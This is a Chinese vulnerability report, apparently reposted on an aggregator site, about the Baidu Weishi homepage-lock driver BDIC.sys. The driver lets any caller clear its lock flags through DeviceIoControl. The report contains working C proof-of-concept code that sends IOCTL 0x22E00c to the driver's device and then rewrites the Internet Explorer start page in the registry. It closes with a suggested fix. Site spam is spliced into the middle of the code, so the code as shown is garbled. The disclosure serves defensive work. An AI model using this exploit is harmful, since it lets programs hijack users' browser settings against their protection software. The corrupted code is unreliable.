百度卫士主页锁定功能的驱动BDIC.sys在实现上存在漏洞,任意程序可以利用该漏洞实现关闭主页锁定,随意修改主页为任意URL。
1.BDIC.sys版本:1.0.0.2000
2.开启主页锁定
3.漏洞触发前,修改主页会失败,
4.漏洞触发后,成功修改主页为www.2345.com,
5.漏洞成因:驱动代码中使用几个标志位来决定是否启用主页锁定,通过DeviceIoControl使用特定的控制码可以修改这几个标志位,驱动未对调用者做任何合法性检查。
void Fuzz2(HANDLE hDev){DWORD dwReturned = 0;char input[4096] = { 0 };char output[4096] = { 0 };DeviceIoControl(hDev,0x22E00c,(LPVOID)input,1070,(LPVOID)output,1070,&dwReturned,NULL);LPCTSTR p = _T("http://www.2345.com");DWORD dwSet = SHSetValue(HKEY_CURRENT_USER, _T("Software\Microsoft\Internet Explorer\Main"),_T("Start Page"), REG_SZ, (LPCVOID)p, (_tcslen(p) + 1)*sizeof(TCHAR));printf("Set Start Page:%x", dwSet);}void Fuzz1(){LPCTSTR DevName = _T("\\.\bd_bp_{5E8C53A3-8FFD-425a-BB1F-71FC9175B3A2}");HANDLE hDev = CreateFile(DevName,GENERIC_READ软件推荐:
(专业提供下载)
GENERIC_WRITE,FILE_SHARE_READ软件推荐:
(专业提供下载)
FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);if(INVALID_HANDLE_VALUE != hDev){Fuzz2(hDev);CloseHandle(hDev);}}int _tmain(int argc, _TCHAR* argv[]){Fuzz1();return 0;}
解决方案:
在收到对主页锁定标志位进行修改的DeviceIoControl调用时,增加对调用者的检查。
就爱阅读www.92to.com网友整理上传,为您提供最全的知识大全,期待您的分享,转载请注明出处。……